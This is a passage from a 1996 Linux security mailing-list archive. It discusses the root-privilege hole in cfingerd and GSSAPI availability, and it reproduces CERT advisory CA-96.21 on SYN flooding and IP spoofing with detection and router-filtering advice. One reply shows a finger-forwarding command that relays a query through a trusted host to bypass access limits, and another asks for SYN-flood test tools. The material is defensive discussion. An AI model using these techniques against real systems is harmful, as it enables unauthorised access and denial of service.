[email protected] - --------------------------------------------------------------------------- Copyright 1996 Carnegie Mellon University This material may be reproduced and distributed without permission provided it is used for noncommercial purposes and the copyright statement is included. CERT is a service mark of Carnegie Mellon University. - --------------------------------------------------------------------------- This file: ftp://info.cert.org/pub/cert_advisories/CA-96.20.sendmail_vul http://www.cert.org click on "CERT Advisories" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Revision history -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMj/++HVP+x0t4w7BAQEoBQP/THORrwVlVF6WbC1zJ3V7fMLC3XSXoG7E WPbIxciOj1xwA14gvVGXyPMtnH6AmgD7PyzQyifzwu/MrecU3UHfgdjVlpJbRjFJ XplELdcjt39wKGz9TlurK/iE31PN/gOlcBBukyLjIuq9NHJEi9vN7M0nTp3KmW/b H66I2ElnY7w= =tQ1H -----END PGP SIGNATURE----- From [email protected] Thu Sep 19 13:33:01 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id NAA01664; Thu, 19 Sep 1996 13:33:01 -0400 Date: Thu, 19 Sep 1996 12:26:23 -0400 (EDT) From: Roscinante To: [email protected] Subject: [linux-security] Cfinger In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list > From: Janos Farkas > Date: Wed, 18 Sep 1996 18:34:43 +0200 (MET DST) > Subject: Re: [linux-security] Finger Doubt > I have sent the author a letter, but never got any reply back (it's 3 > months later now!), so I just take the opportunity to warn the public > against its use. I had noticed that v1.2.2 had a 'finger.log' that could be written to a users homedir, and saw it wrote it as root. Big hole. I wrote the author, and he did some fixes, so now at least it changes uid to that of the user, so please look at cfingerd-1.2.3, and let us know if it's still a major security hole. I asked the author if he could change the program to not need root, but I suppose that would be major re-writing. Perhaps someone else can rewrite it, it's beyond my experience to do so. I am forwarding these messages to the cfinger mailing list, maybe the author will take action. ~~ All that is gold does not glitter.. . Not all those who wander are lost..J.R..R.T. . /\ . ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ._____// \\_____. And the knowledge that they fear . \\ Rush // . is a weapon to be held against them.. N.P. . \\ 2112 // . ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ . // /\ \\ . Ghost in the Machine ([email protected]) I[[[[[[[[]]]]]]]]I Roscinante ([email protected]) http://www.globalent.net/users/fbn From [email protected] Thu Sep 19 15:16:32 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id PAA02281; Thu, 19 Sep 1996 15:16:32 -0400 From: "Andrew G. Morgan" Message-Id: <[email protected]> Subject: [linux-security] Re: GSSAPI for Linux (follow up..) To: [email protected] (Linux Security) Date: Thu, 19 Sep 1996 11:00:49 -0700 (PDT) Cc: [email protected] Content-Type: text Sender: [email protected] Precedence: list I emailed a question about GSSAPI [General Security Services Application Program Interface] a week or two ago. Prompted by a request from Jeff Cook, it seemed like a good idea to make a follow up posting... A number of people [Jeff Cook, Isaac Hollander, Jared Mauch, Martin v.Loewis, Manoj V S Kasichainula, Eric M. Boyd and Dhaval M Shah (if I missed you out, please email me again, I must have lost your email :( ] responded with some relevant comments. Background: ---------- For the uninitiated, GSSAPI is an attempt to define a standard for the use of off-the-shelf security service implementations by general applications. >From my reading of the two relevant rfc's [Which I have collected for convenience at http://parc.power.net/morgan/Linux-GSS/index.html ], the basic idea of GSS a generic set of calls that will provide for a secure exchange of information between remote computers over otherwise insecure channels. To be GSSAPI compliant, a security service must provide the gss_xxx calls documented in the rfc's. Similarly to take advantage of such generic services, an application blindly calls these functions to secure its data. Information: ------------ >From the various emails I received, it has become clear that there is a reasonably complete implementation of GSSAPI for Kerberos 5 [ http://web.mit.edu/krb5/www/kerberos.html ftp://athena-dist.mit.edu/pub/ATHENA/kerberos ]. Also there is a JAVA-based, front end to the kerberos implementation can be found at, http://choices.cs.uiuc.edu/Security/JGSS/jgss.html In addition, there is an ILU implementation [ ftp://ftp.parc.xerox.com/pub/ilu/ilu.html ftp://ftp.parc.xerox.com/pub/ilu ] Of course, Kerberos is only available within the US. Outside the US, there is a ~90% pure JAVA implementation being pursued by Dhaval M. Shah, of the University of Wollongong, Australia. Discussion: ----------- The point of my question, was to find out how flexible the GSSAPI is and to what extent implementations are freely available throughout the world. Basically, I have found that outside the US, there are no finished implementations of it available for free, and Kerberos, being written within the US is export restricted. So there is not much in the way of global availability. Jeff Cook did point me at the following URL: http://www.tis.com/crypto/ice.html , which looks interesting, and seems (at a first glance) to be more along the lines of the thoughts I was having when I posed my original question. Finally, what I had in mind when I posted before was an idea of developing a "pluggable" implementation of the GSSAPI that works like PAM. That is to say, the implementation is really a library that loads independently provided "modules" that perform the digital signatures/encryption etc. services. PAM has shown that this is both a viable and flexible method of dealing with authentication services, so I got to thinking about other types of security service. My motivation is to develop a globally available interface for security services, free of export restrictions and commercial licenses, that will encourage applications developers to start offering some security to their users. [Since the library I am proposing to build will have no encryption in it, it should be free of export restrictions...] I'd also like to produce a digital signature module that will offer people the peace of mind that no-one is going to hijack their telnet session etc.. This would be useful even in countries where the use of encryption is forbidden by law. I am still interested in doing this, but perhaps GSSAPI is not sufficiently general...? I welcome your comments. Andrew [email protected] linux-security/linux-security.960920100664 1767 1767 52000 6220524416 16642 0ustar majdommajdomFrom [email protected] Fri Sep 20 01:02:03 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id BAA06121; Fri, 20 Sep 1996 01:02:03 -0400 Date: Wed, 18 Sep 1996 19:13:39 -0400 (EDT) From: Ron Hensley To: Administrador da Rede cc: [email protected] Subject: Re: [linux-security] Finger Doubt In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list > > Somedays ago, a certain person sent to our ISP a finger list;like > a warning (See? I-can-see-your-finger-and-theres-nothing-you-can-do type stuff) > I use the newest version of cfinger, setted to not allow general finger, just > specific ones. Does anyone knows how this person did that ? I hope I can > find out, otherwise, bye bye finger service. Not familliar with cfinger, but a lot of fingers are prone to indirection. For instance you tcwrapper finger on host B. Only people right there on Host B can do fingerl ocally, and people on Host A, as you trust Host A. But Host A isnt locked down: finger @host_A@host_B As Host A isnt locked, finger works, as B Trusts A, it works. Dont forget things like terminal servers etc that could be used as the indirection machine ******************************************************************* * Ron Hensley [email protected] * * Junior Systems Administrator http://www.dmv.com/~ron * * PGP Key at WWW Page * * DelMarVa OnLine 749-7898 Ext. 403 * ******************************************************************* From [email protected] Fri Sep 20 06:47:26 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id GAA08293; Fri, 20 Sep 1996 06:47:26 -0400 Date: Thu, 19 Sep 1996 19:46:24 -0400 (EDT) From: Roscinante To: [email protected] Subject: [linux-security] Cfinger (Yet more :) In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list I did it! I castrated it! ;) I hacked cfinger to no longer need root.. I just went thru and replaced nearly every instance of 'root' with 'nobody'... There's one routine in main.c that attempts to renice -20 cfingerd, I changed that to 1.. I seems to have broken the 'no root finger' but fuggit, I'm not a coder, I just mangle other peoples' code :) I wouldn't know how to make diffs, but I'll be glad to put the whole src up for grabs. The src I'm using is the 1.2.3 version, I'm going to make my changes to the 1.3.0 src, see if I can fix the no-root-finger thingy, and then tar it all up and put it on sunsite (unless someone advises against it ;) I had made another change previously with cfinger, I don't think I mentioned yet. cfinger is supposed to use its own 'userlist' program, which just happens to want to be installed suid-root! I changed userlist.c to use ordinary 'finger' (simple substitution here too, just change "userlist" to "finger" and change the display string a bit to match the output header).. If any real coders care to help my feeble hacking, please let me know! :) ~~ All that is gold does not glitter.. . Not all those who wander are lost..J.R.R.T. . /\ . ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ._____// \\_____. And the knowledge that they fear . \\ Rush // . is a weapon to be held against them.. N.P. . \\ 2112 // . ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ . // /\ \\ . Ghost in the Machine ([email protected]) I[[[[[[[[]]]]]]]]I Roscinante ([email protected]) http://www.globalent.net/users/fbn From [email protected] Fri Sep 20 09:58:48 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id JAA08996; Fri, 20 Sep 1996 09:58:48 -0400 From: Malcolm Beattie Message-Id: <[email protected]> Subject: Re: [linux-security] Re: GSSAPI for Linux (follow up..) To: [email protected] (Andrew G. Morgan) Date: Fri, 20 Sep 1996 09:57:00 +0100 (BST) Cc: [email protected] In-Reply-To: <[email protected]> from "Andrew G. Morgan" at Sep 19, 96 11:00:49 am X-Mailer: ELM [version 2.4 PL24 PGP2] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: [email protected] Precedence: list Andrew G. Morgan writes: > > I emailed a question about GSSAPI [General Security Services > Application Program Interface] a week or two ago. Prompted by a > request from Jeff Cook, it seemed like a good idea to make a follow up > posting... [...] > Of course, Kerberos is only available within the US. Rubbish. See, for example, ftp://ftp.ox.ac.uk/pub/comp/security/software/Kerberos5 I am going to put up an RPM for K5beta7 RSN. I prepared one for beta6 and the binary RPM came out at slightly over a megabyte (thanks to --enable-shared working nicely). I mailed RedHat a couple of weeks or so ago asking them to add the Kerberos ports to /etc/services (in the "setup" RPM) but they haven't replied yet. That means you have to manually append to /etc/services (on the client side, kshell needs to be in there for rsh to work). Apart from that, a single "rpm -i" and everything works fine (well it did with beta6 but beta7 seems to have broken credential forwarding for some reason). --Malcolm -- Malcolm Beattie Unix Systems Programmer Oxford University Computing Services From [email protected] Fri Sep 20 10:24:12 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id KAA09127; Fri, 20 Sep 1996 10:24:12 -0400 Resent-Date: Fri, 20 Sep 1996 09:51:20 -0400 Resent-From: Jeff Uphoff Resent-Message-Id: <[email protected]> Resent-To: [email protected], [email protected] Message-Id: <[email protected]> Organization: CERT(sm) Coordination Center - +1 412-268-7090 From: CERT Advisory To: [email protected] Subject: [linux-security] CERT Advisory CA-96.21 - TCP SYN Flooding and IP Spoofing Attacks Date: Thu, 19 Sep 1996 16:36:42 -0400 X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- ============================================================================= CERT(sm) Advisory CA-96.21 Original issue date: September 19, 1996 Last revised: -- Topic: TCP SYN Flooding and IP Spoofing Attacks - ----------------------------------------------------------------------------- *** This advisory supersedes CA-95:01. *** Two "underground magazines" have recently published code to conduct denial-of-service attacks by creating TCP "half-open" connections. This code is actively being used to attack sites connected to the Internet. There is, as yet, no complete solution for this problem, but there are steps that can be taken to lessen its impact. Although discovering the origin of the attack is difficult, it is possible to do; we have received reports of attack origins being identified. Any system connected to the Internet and providing TCP-based network services (such as a Web server, FTP server, or mail server) is potentially subject to this attack. The consequences of the attack may vary depending on the system; however, the attack itself is fundamental to the TCP protocol used by all systems. If you are an Internet service provider, please pay particular attention to Section III and Appendix A, which describes step we urge you to take to lessen the effects of these attacks. If you are the customer of an Internet service provider, please encourage your provider to take these steps. This advisory provides a brief outline of the problem and a partial solution. We will update this advisory as we receive new information. If the change in information warrants, we may post an updated advisory on comp.security.announce and redistribute an update to our cert-advisory mailing list. As always, the latest information is available at the URLs listed at the end of this advisory. - ----------------------------------------------------------------------------- I. Description When a system (called the client) attempts to establish a TCP connection to a system providing a service (the server), the client and server exchange a set sequence of messages. This connection technique applies to all TCP connections--telnet, Web, email, etc. The client system begins by sending a SYN message to the server. The server then acknowledges the SYN message by sending SYN-ACK message to the client. The client then finishes establishing the connection by responding with an ACK message. The connection between the client and the server is then open, and the service-specific data can be exchanged between the client and the server. Here is a view of this message flow: Client Server ------ ------ SYN--------------------> <--------------------SYN-ACK ACK--------------------> Client and server can now send service-specific data The potential for abuse arises at the point where the server system has sent an acknowledgment (SYN-ACK) back to client but has not yet received the ACK message. This is what we mean by half-open connection. The server has built in its system memory a data structure describing all pending connections. This data structure is of finite size, and it can be made to overflow by intentionally creating too many partially-open connections. Creating half-open connections is easily accomplished with IP spoofing. The attacking system sends SYN messages to the victim server system; these appear to be legitimate but in fact reference a client system that is unable to respond to the SYN-ACK messages. This means that the final ACK message will never be sent to the victim server system. The half-open connections data structure on the victim server system will eventually fill; then the system will be unable to accept any new incoming connections until the table is emptied out. Normally there is a timeout associated with a pending connection, so the half-open connections will eventually expire and the victim server system will recover. However, the attacking system can simply continue sending IP-spoofed packets requesting new connections faster than the victim system can expire the pending connections. In most cases, the victim of such an attack will have difficulty in accepting any new incoming network connection. In these cases, the attack does not affect existing incoming connections nor the ability to originate outgoing network connections. However, in some cases, the system may exhaust memory, crash, or be rendered otherwise inoperative. The location of the attacking system is obscured because the source addresses in the SYN packets are often implausible. When the packet arrives at the victim server system, there is no way to determine its true source. Since the network forwards packets based on destination address, the only way to validate the source of a packet is to use input source filtering (see Appendix A). II. Impact Systems providing TCP-based services to the Internet community may be unable to provide those services while under attack and for some time after the attack ceases. The service itself is not harmed by the attack; usually only the ability to provide the service is impaired. In some cases, the system may exhaust memory, crash, or be rendered otherwise inoperative. III. Solution There is, as yet, no generally accepted solution to this problem with the current IP protocol technology. However, proper router configuration can reduce the likelihood that your site will be the source of one of these attacks. Appendix A contains details about how to filter packets to reduce the number of IP-spoofed packets entering and exiting your network. It also contains a list of vendors that have reported support for this type of filtering. NOTE to Internet Service Providers: We STRONGLY urge you to install these filters in your routers to protect your customers against this type of an attack. Although these filters do not directly protect your customers from attack, the filters do prevent attacks from originating at the sites of any of your customers. We are aware of the ramifications of these filters on some current Mobile IP schemes and are seeking a position statement from the appropriate organizations. NOTE to customers of Internet service providers: We STRONGLY recommend that you contact your service provider to verify that the necessary filters are in place to protect your network. Many networking experts are working together to devise improvements to existing IP implementations to "harden" kernels to this type of attack. When these improvements become available, we suggest that you install them on all your systems as soon as possible. This advisory will be updated to reflect changes made by the vendor community. IV. Detecting an Attack Users of the attacked server system may notice nothing unusual since the IP-spoofed connection requests may not load the system noticeably. The system is still able to establish outgoing connections. The problem will most likely be noticed by client systems attempting to access one of the services on the victim system. To verify that this attack is occurring, check the state of the server system's network traffic. For example, on SunOS this may be done by the command: netstat -a -f inet Too many connections in the state "SYN_RECEIVED" indicates that the system is being attacked. ........................................................................... Appendix A - Reducing IP Spoofed Packets 1. Filtering Information - ------------------------- With the current IP protocol technology, it is impossible to eliminate IP-spoofed packets. However, you can take steps to reduce the number of IP-spoofed packets entering and exiting your network. Currently, the best method is to install a filtering router that restricts the input to your external interface (known as an input filter) by not allowing a packet through if it has a source address from your internal network. In addition, you should filter outgoing packets that have a source address different from your internal network to prevent a source IP spoofing attack from originating from your site. The combination of these two filters would prevent outside attackers from sending you packets pretending to be from your internal network. It would also prevent packets originating within your network from pretending to be from outside your network. These filters will *not* stop all TCP SYN attacks, since outside attackers can spoof packets from *any* outside network, and internal attackers can still send attacks spoofing internal addresses. We STRONGLY urge Internet service providers to install these filters in your routers. In addition, we STRONGLY recommend customers of Internet service providers to contact your service provider to verify that the necessary filters are in place to protect your network. 2. Vendor Information - ---------------------- The following vendor(s) have reported support for the type of filtering we recommend and provided pointers to additional information that describes how to configure your router. If you need more information about your router or about firewalls, please contact your vendor directly. Cisco ----- Refer to the section entitiled "ISP Security Advisory" on http://www.cisco.com for an up-to-date explanation of how to address TCP SYN flooding on a Cisco router. NOTE to vendors: If you are a router vendor who has information on router capabilities and configuration examples and you are not represented in this list, please contact the CERT Coordination Center at the addresses given in the Contact Information section below. We will update the advisory after we hear from you. 3. Alternative for routers that do not support filtering on the inbound side - ---------------------------------------------------------------------------- If your vendor's router does not support filtering on the inbound side of the interface or if there will be a delay in incorporating the feature into your system, you may filter the spoofed IP packets by using a second router between your external interface and your outside connection. Configure this router to block, on the outgoing interface connected to your original router, all packets that have a source address in your internal network. For this purpose, you can use a filtering router or a UNIX system with two interfaces that supports packet filtering. Note: Disabling source routing at the router does not protect you from this attack, but it is still good security practice to follow. On the input to your external interface, that is coming from the Internet to your network, you should block packets with the following addresses: * Broadcast Networks: The addresses to block here are network 0 (the all zeros broadcast address) and network 255.255.255.255 (the all ones broadcast network). * Your local network(s): These are your network addresses * Reserved private networks: The following networks are defined as reserved private networks and no traffic should ever be received from or transmitted to these networks through a router: 10.0.0.0 127.0.0.0 172.16.0.0 192.168.0.0 - ----------------------------------------------------------------------------- The CERT Coordination Center staff thanks the team members of NASIRC for contributing much of the text for this advisory and thanks the many experts who are devoting time to addressing the problem and who provided input to this advisory. - ----------------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in the Forum of Incident Response and Security Teams (see ftp://info.cert.org/pub/FIRST/first-contacts). CERT/CC Contact Information - ---------------------------- Email [email protected] Phone +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30-5:00 p.m. EST(GMT-5) / EDT(GMT-4) and are on call for emergencies during other hours. Fax +1 412-268-6989 Postal address CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 USA Using encryption We strongly urge you to encrypt sensitive information sent by email. We can support a shared DES key or PGP. Contact the CERT/CC for more information. Location of CERT PGP key ftp://info.cert.org/pub/CERT_PGP.key Getting security information CERT publications and other security information are available from http://www.cert.org/ ftp://info.cert.org/pub/ CERT advisories and bulletins are also posted on the USENET newsgroup comp.security.announce To be added to our mailing list for advisories and bulletins, send your email address to [email protected] - --------------------------------------------------------------------------- Copyright 1996 Carnegie Mellon University This material may be reproduced and distributed without permission provided it is used for noncommercial purposes and the copyright statement is included. CERT is a service mark of Carnegie Mellon University. - --------------------------------------------------------------------------- This file: ftp://info.cert.org/pub/cert_advisories/CA-96.21.tcp_syn_flooding http://www.cert.org click on "CERT Advisories" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Revision history -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMkGmUnVP+x0t4w7BAQHPcgP9Fxarwmbfq9rQtj3+CktCU3HtYtX4wgSQ RW+hl6Z9lig61ha+bgEyEUqj/1ishwlJopgJ7LOMjgfzjGZt/25/+XmHCrOcUSNx +eoqAcg59eisXtWXFgOLgfcadcH/9dDRHn3WUcXYrAFFpXPREBS66P2Tbo8MlmzX l0LbKYde7uc= =iZ8P -----END PGP SIGNATURE----- linux-security/linux-security.960922100664 1767 1767 5045 6221176227 16637 0ustar majdommajdomFrom [email protected] Sun Sep 22 02:58:32 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id CAA19777; Sun, 22 Sep 1996 02:58:32 -0400 Message-Id: <[email protected]> To: [email protected] Subject: Re: [linux-security] Finger Doubt In-reply-to: Your message of "Wed, 18 Sep 1996 19:13:39 EDT." Date: Fri, 20 Sep 1996 07:16:03 -0400 From: "Alexander O. Yuriev" Sender: [email protected] Precedence: list > But Host A isnt locked down: > finger @host_A@host_B > In case it was not yet mentioned, out of the box fingerd can be configured to disallow figer forwarding. Lets be careful with making statements "As Host A isnt locked, finger works, as B Trusts A, it works". It works only in a misconfigured environment. Alex From [email protected] Sun Sep 22 04:45:11 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id EAA20660; Sun, 22 Sep 1996 04:45:11 -0400 Message-Id: <[email protected]> To: [email protected] From: Grant Taylor Subject: Re: [linux-security] Cfinger (Yet more :) In-reply-to: Your message of "Thu, 19 Sep 1996 19:46:24 EDT." Date: Fri, 20 Sep 1996 13:28:20 -0400 Sender: [email protected] Precedence: list >>>>> Roscinante writes: > I hacked cfinger to no longer need root. When I decided I needed a cluster-saavy finger daemon, I did rather the opposite. I looked at gnu/icsi fingerd, and my vendor's fingerd, and decided to write my own. My little fingerd is extremely simple, and is intended to be relatively secure while still returning who's where on my machines. Rather than trust cfinger or rehash the same idea, I took the easy way out - this fingerd reads information from /var/rwho. This use of rwhod is appropriate for sites which have some degree of trust in their local network users (and which filter udp services like rwho at all external interfaces). While it's been running fine here for some time, I'd love to have some input from other sites. Give it a whirl: ftp://ftp.picante.com/pub/gtaylor/misc/fingerd.c -- Grant Taylor - [email protected] - http://www.picante.com/~gtaylor/ Where do these people come from? Finger for PGP public key. linux-security/linux-security.960924100664 1767 1767 23347 6222044143 16656 0ustar majdommajdomFrom [email protected] Tue Sep 24 16:43:29 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id QAA08868; Tue, 24 Sep 1996 16:43:29 -0400 From: David Holland Message-Id: <[email protected]> Subject: Re: [linux-security] Cfinger (Yet more :) To: [email protected] (Grant Taylor) Date: Mon, 23 Sep 1996 13:58:06 -0400 (EDT) Cc: [email protected] In-Reply-To: <[email protected]> from "Grant Taylor" at Sep 20, 96 01:28:20 pm X-Mailer: ELM [version 2.4 PL22] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > When I decided I needed a cluster-saavy finger daemon, I did rather > the opposite. I looked at gnu/icsi fingerd, and my vendor's fingerd, > and decided to write my own. As have I, at least twice. > My little fingerd is extremely simple, and is intended to be > relatively secure while still returning who's where on my machines. > Rather than trust cfinger or rehash the same idea, I took the easy way > out - this fingerd reads information from /var/rwho. Aside from the fact that the standard rwho protocol is a complete loss, this isn't a bad idea. The only problem is that rwho doesn't give last login information. This may or may not be an issue. I wrote a better rwho system, and a finger system to go along with it, for the local computer center a couple years ago. I'm working on trying to shake loose permission to release it. (Also, why the fuss about fingerd? fingerd is just a wrapper that runs finger.) -- - David A. Holland | Number of words in the English language that [email protected] | exist because of typos or misreadings: 381 From [email protected] Tue Sep 24 16:44:39 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id QAA08882; Tue, 24 Sep 1996 16:44:39 -0400 Message-Id: <[email protected]> To: David Holland cc: [email protected] From: Grant Taylor Subject: Re: [linux-security] Cfinger (Yet more :) In-reply-to: Your message of "Mon, 23 Sep 1996 13:58:06 EDT." <[email protected]> Date: Mon, 23 Sep 1996 14:21:02 -0400 Sender: [email protected] Precedence: list >>>>> David Holland writes: >> My little fingerd is extremely simple, and is intended to be >> relatively secure while still returning who's where on my machines. >> Rather than trust cfinger or rehash the same idea, I took the easy way >> out - this fingerd reads information from /var/rwho. > Aside from the fact that the standard rwho protocol is a complete > loss, this isn't a bad idea. The only problem is that rwho doesn't > give last login information. This may or may not be an issue. It's not an issue for me, since last login time is among the things I *don't* want to give out. You are certainly correct that the rwho protocol is pathetic, but it has the advantage of being already written and more or less adequate for single segment networks where you trust people. > (Also, why the fuss about fingerd? fingerd is just a wrapper that > runs finger.) Because I like different levels of information for random net users and local users. Local users are welcome to know where each other's mail goes, when foo was last on, etc. "Strangers" are welcome to know who's where now and only now, and whatever my users explicitly give away in .plan and .project. I also have an unreasoning fear of any network sevice that runs commands derived from untrusted input, particularly when it's not subject to as much scrutiny as, say, sendmail or httpd. -- Grant Taylor - [email protected] - http://www.picante.com/~gtaylor/ Where do these people come from? Finger for PGP public key. From [email protected] Tue Sep 24 16:44:54 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id QAA08906; Tue, 24 Sep 1996 16:44:54 -0400 Date: Mon, 23 Sep 1996 17:57:28 -0700 (PDT) From: "B. James Phillippe" Reply-To: [email protected] To: Linux Security Subject: [linux-security] Syn flood/IP spoofing tests Message-ID: Organization: Terran Organization MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Hello Everyone, I'd like to perform a series of syn flood resistance tests on linux-2.0.21 and linux-2.0.21+Alan-Cox's-syn-resistant-patch. I'd like to know of an efficient method of syn-flooding my test box. I don't know the best place to obtain such a creature and I'd prefer to not have to slink around IRC talking to w4r3s people. This is a legitimate test which will not involve any machines other than my own test computer within our test network at my office. I would greatly appreciate any help in finding adequate test software, and any test suggestions for that matter (how to draw up a statistical report on the effectiveness of the syn-flood resistant patch). I will make available these semi-accurate results to anyone who asks for them. Also, for those interested in obtaining the afore-mentioned patch, you may find it on the kernel mailing list or obtain it from my personally. Please contact me at [email protected]. Thank you very much for any assistance you can provide, and have a nice day. -Bryan -- # B. James Phillippe # System Administrator [terran.org] # ~ http://w3.terran.org/~bryan From [email protected] Tue Sep 24 16:45:05 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id QAA08919; Tue, 24 Sep 1996 16:45:05 -0400 Message-ID: <[email protected]> From: [email protected] (lilo) Date: Sun, 22 Sep 1996 18:36:00 -0500 (CDT) To: Grant Taylor cc: [email protected] Subject: Re: [linux-security] Cfinger (Yet more :) In-Reply-To: <[email protected]> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- On Fri, 20 Sep 1996, Grant Taylor wrote: > >>>>> Roscinante writes: > > > I hacked cfinger to no longer need root. > > When I decided I needed a cluster-saavy finger daemon, I did rather > the opposite. I looked at gnu/icsi fingerd, and my vendor's fingerd, > and decided to write my own. > > My little fingerd is extremely simple, and is intended to be > relatively secure while still returning who's where on my machines. > Rather than trust cfinger or rehash the same idea, I took the easy way > out - this fingerd reads information from /var/rwho. > > This use of rwhod is appropriate for sites which have some degree of > trust in their local network users (and which filter udp services like > rwho at all external interfaces). It's also quite modifiable, for those of us who would prefer not to trust rwho. It's an excellent example of the species `simple finger daemon.' Would appreciate it if you could put it under GPL or FreeBSD license....I know it's short, but some of us would probably like to modify it and redistribute, there's lots of room for tinkering there.... lilo -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: noconv Comment: Government is always benevolent. Privacy is overrated. iQCVAwUBMkXNb523L4XLlypxAQG8lAP9HuWL8+FaynMFB6TIO4j8Kn9VWGceQJb/ Mp/XgCwEzQZhuCtRwkMk+Z1h83za4Q88Wx7AOp24l8ZnOJQQiSpshVAC9y6kNjZ6 0adP8LToSFghcdZ+vTr91akZlTQaqPrBDn432cykihbActLXDj5KTP18nbRTEz19 EG/7oalPeik= =iTDy -----END PGP SIGNATURE----- From [email protected] Tue Sep 24 16:45:09 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id QAA08929; Tue, 24 Sep 1996 16:45:09 -0400 To: [email protected] Date: 23 Sep 1996 20:44:48 GMT From: [email protected] (Richard Huveneers) Message-ID: <[email protected]> Organization: Private site ** OS: Linux ** NTS: INN 1.4 unoff2, Taylor UUCP 1.05 References: loc Reply-To: [email protected] Subject: Re: [linux-security] Finger Doubt Sender: [email protected] Precedence: list In article , [email protected] (Janos Farkas) writes: > >However if you just need a finger daemon, you may take a look at xfingerd, >at >ftp://ftp.banki.hu:/pub/xfingerd/xfingerd-0.1.tar.gz >which is the one I wrote when I got desperate about cfingerd. (If you take >a look at its date stamp, you can see that cfingerd is long broken..) I >too can't garantee that it's good for you, but it at least doesn't require >to be run as root, which is why I started being against cfingerd. I downloaded cfingerd once too. After examining the source code and some communications with the author (he responded quickly), I didn't trust it either. Did a lot of searching on the web and found 'ffingerd'. This one looks very secure to me. For instance, it's not capable of forwarding finger queries and global (@...) finger queries. It should be run as nobody and supports the '.nofinger' file in the users home-dir. This one was just what I was looking for. I have been running it for the past 6 months without any problems/complaints. It has a web page somewhere. Don't have it online here (sorry). Hope this helps, Richard. linux-security/linux-security.960925100664 1767 1767 27401 6222320551 16652 0ustar majdommajdomFrom [email protected] Wed Sep 25 17:17:28 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id RAA21286; Wed, 25 Sep 1996 17:17:28 -0400 Resent-Date: Wed, 25 Sep 1996 17:16:13 -0400 Resent-From: Jeff Uphoff Resent-Message-Id: <[email protected]> Resent-To: [email protected] Message-Id: <[email protected]> Organization: CERT(sm) Coordination Center - +1 412-268-7090 From: CERT Advisory To: [email protected] Subject: [linux-security] CERT Summary CS-96.05 Date: Tue, 24 Sep 1996 17:24:25 -0400 X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list A general FYI from CERT. I won't comment on their having singled Linux out as the one OS that gets broken into due to mis-configuration and/or ignorance of previous advisories. [We all know that this never happens to "real" operating systems.] Oh, wait...I guess I just commented. :)~ --Up. -----BEGIN PGP SIGNED MESSAGE----- CERT(sm) Summary CS-96.05 September 24, 1996 The CERT Coordination Center periodically issues the CERT Summary to draw attention to the types of attacks currently being reported to our Incident Response Team. The summary includes pointers to sources of information for dealing with the problems. We also list new or updated files that are available for anonymous FTP from ftp://info.cert.org/pub/ Past CERT Summaries are available from ftp://info.cert.org/pub/cert_summaries/ - --------------------------------------------------------------------------- Clarification to CS-96.04 - ------------------------- In our previous CERT Summary, we said that the intruder community is developing new techniques and tools to analyze programs for potential vulnerabilities even in the absence of source code. We did not mean to imply that all developers of these techniques in the wider technical community are members of the intruder community, nor that they intend their work to be used by the intruder community. Recent Activity and Trends - -------------------------- Since the July CERT Summary, we have noticed these trends in incidents reported to us. 1. Denial of 